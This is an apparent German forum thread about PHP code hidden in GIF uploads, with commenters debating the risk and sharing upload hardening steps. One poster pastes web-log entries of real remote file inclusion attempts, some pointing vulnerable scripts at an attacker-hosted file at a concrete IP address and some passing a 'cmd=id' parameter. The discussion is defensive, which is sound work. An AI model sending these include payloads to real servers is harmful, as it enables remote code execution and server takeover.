Gefahr von PHP Code in GIF Grafikdateien

http://www.network-secure.de/content/view/4826/

Im Prinzip nichts neues, trotzdem danke für den Hinweis. Man kann das ja nicht oft genug wiederholen.

Wenn ich allerdings das

lese, dann frage ich mich allerdings manchmal, ob man nicht die entsprechenden Fragen in Foren knallhart löschen sollte. Insbesondere dann, wenn sich das bei manchen Nutzern wiederholt.

scheisse

Es ist richtig, dass dieses Problem existiert!

ABER:

Welcher Idiot lässt es zu, dass PHP Dateien hochgeladen werden können?
Welcher verdeppte Admin hat den Befehl system aktiv?

Unterschätz das Problem dennoch nicht...

Die hier gezeigten "Exploits" basieren jedoch alle auf der Annahme, dass der Dateiname des Uploads immer gleich bleibt. Wenn er von exploit.php nach img001202.gif umbenannt wird, lässt sich die Datei nicht mehr ausführen (vorausgesetzt der Systemadmin lässt nicht auch gif-Dateien durch den PHP-Parser rauschen).

Selbst wenn jedoch Funktionen wie system() deaktiviert sind, kann man einen beträchtlichen Schaden anrichten.

Danke für deine qualifizierte, hochbrisante Meldung.

Der unerfahrene Anwender sollte sowieso nicht an seinem Server "herumschrauben", wenn er von dessen Inhalten abhängig ist, sprich davon lebt. Bestandteil des Artikels ist daher auch die gängige Panikmache...

ODER:

Welcher halbwegsvernünftige Admin hat bitte Endung wie GIF, JPG oder PNG zum Parsen mittels PHP freigegeben?!

Vorausgesetzt, das Bilddateien nicht durch den PHP Parser gelassen werden, genügt die einfache Prüfung der Dateiendung. Warum wird NUR der Filetyp geprüft? Am besten beides Prüfen.

Hier aber noch konstruktive Hilfe für diejenigen welche angst haben, dass Sie fehlerhfte Scripte haben...

Macht eine Subdomain für Eure Uploads. Diese Subdomain hat einfach kaum rechte...

Ganz hilfreich zum Thema Apache Security ist auch diese Seite:
http://www.linux-magazin.de/heft_abo/ausga...r_den_webserver

Eure Einwände sind allesamt nachvollziehbar - für diejenigen, die sich mit den Details auskennen. Nur erlebe ich - gerade hier - immer wieder das Gegenteil: Jemand fragt etwas und erhält eine Erläuterung. Und dann fragt er erneut etwas und man hat den Eindruck, daß die - womöglich sicherheitskritischen - PHP-Befehle wie chinesische Schriftzeichen nur hin- und hergeschoben werden, ohne irgendein Verständnis für das, was diese Funktionen machen. Einzig entscheidend ist, daß es am Ende klappt - so wie sich das der Fragende vorstellt. Was damit plötzlich auch noch klappt, ist dem Fragenden völlig unbekannt.

Und das Problem gibt es nicht nur hier: Es gibt ja regelmäßig Anwendungen, da funktioniert etwas nicht - also werden die Rechte hochgesetzt. Simples Beispiel, schon mehrfach gelesen:

Frage: Ich will in meine bis jetzt statische Seiten PHP einbauen, muß ich jetzt alle Dateiendungen ändern? (PR-Verlust)
Antwort: Nee, konfiguriere deinen Server so, daß er auch .html parst.

Und es ist fast zu wetten, daß manche damit Schwierigkeiten haben und dann nicht bloß das Html-Parsen erlauben, sondern dann eben alle Dateien durchjagen - '*.*' funktioniert wahrscheinlich.

Etwas funktioniert nicht wie gewünscht, also wird eine stärkere Funktion genutzt - was die sonst macht? Keine Ahnung.

Abgesehen davon kann man auch mit hochladbaren Html-Seiten Mist bauen - eingebundenes JavaScript wird dann plötzlich mit den Vertrauensrechten der Plattform ausgeführt.

PS: Simples Beispiel: Jemand schreibt in einem Forum, google würde die Domain als 'kann Ihren Computer schädigen' ausgeben. Leute aus dem Forum gucken nach, eingebundener iFrame auf eine Site mit Exploits, google hat also recht. Und dann natürlich: 'Keine Ahnung, wie', dann werden Passwörter geändert - als ob für so etwas ein Passwort notwendig wäre. Aber wenn sich google dann zwei Wochen Zeit läßt, bis der Hinweis verschwindet, da regt sich der Besitzer darüber auf.

Leider muss ich jAuer fast überall recht geben...

So, grade bei mir gesehen:

Aufrufe:

/live/help.php?css_path=http://217.117.147.4/sugar_canon/s.gif?
/php/mambo/index2.php?_REQUEST%5Boption%5D=com_content&_REQUEST%5BItemid%5D=1&GLOBALS=&mosConfig_absolute_path=http://217.117.147.4/sugar_canon/s.gi
/dotproject/includes/db_adodb.php?baseDir=http://217.117.147.4/sugar_canon/s.gif?

und analog (mir wirds zu blöd, die ganzen Parameter rauszukopieren):

/SQuery/lib/armygame.php
/phplive/help.php
/bridge/enigma/E2_header.inc.php
/admin.php
/mambo/index.php

/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://217.117.147.4/sugar_canon/s.gif?/

Und ruft man das s.gif direkt ab, dann ist das ein 'zerbrochenes Gif' mit Inhalt

Sprich: Das wird fleißig eingesetzt.

Um kurz zu vervollständigen, die Blödmänner versuchen es mit jeder Endung:

GET /components/com_simpleboard/file_upload.php?sbp=http://***.com/tool20.dat?cmd=id
GET /mail/index.php?site_path=http://***.com/imag/stringa.txt?
GET /wiki/index.php/index.php?z=http://***.jp/icons/fold?

usw....

Aber nicht bei mir, bei mir sind bloß PHP-Dateien und gif-Endungen aufgetaucht.

Das ist allerdings auch ein IIS, bei dem alle PHP-Dateien mit 404 beantwortet werden.

Vor ein paar Tagen hatte ich mal den:

/admin/business_inc/saveserver.php?thisdir=Textdatei von einem Server

Die Textdatei existiert immer noch - nein, ich poste keinen Link. Die hat u.a komplette Brute-Force - FTP-Angriffe und base64-codierte Blöcke. Decodiert man die, dann sind das komplette kleine C-Programme, die einen Port und eine Shell aufmachen:

Da ist dann mein Server nicht mehr mein Server.

So mach ichs:

1- alle hochgeladenen Bilder (oder Dateien, die sich als solche ausgeben) laufen über ein noexe /tmp
2- Bilder werden automatisch auf 99% Grösse resized (da bleibt kein Code übrig)
3- dann in ein Verzeichnis verschoben mit einem htaccess deny from all (ausnahme: die eigene IP des Webservers)
4- die Bilder werden dann selbst über ein gesichertes php-Skript ausgegeben (nach der Art photo.php?foto_id=542 mit file_get_contents)

Coole Tricks. Die Verkleinerung finde ich besonders gut! Ansonsten lasse bei mir meist noch einen clamdscan (Antivirus) über Uploads laufen.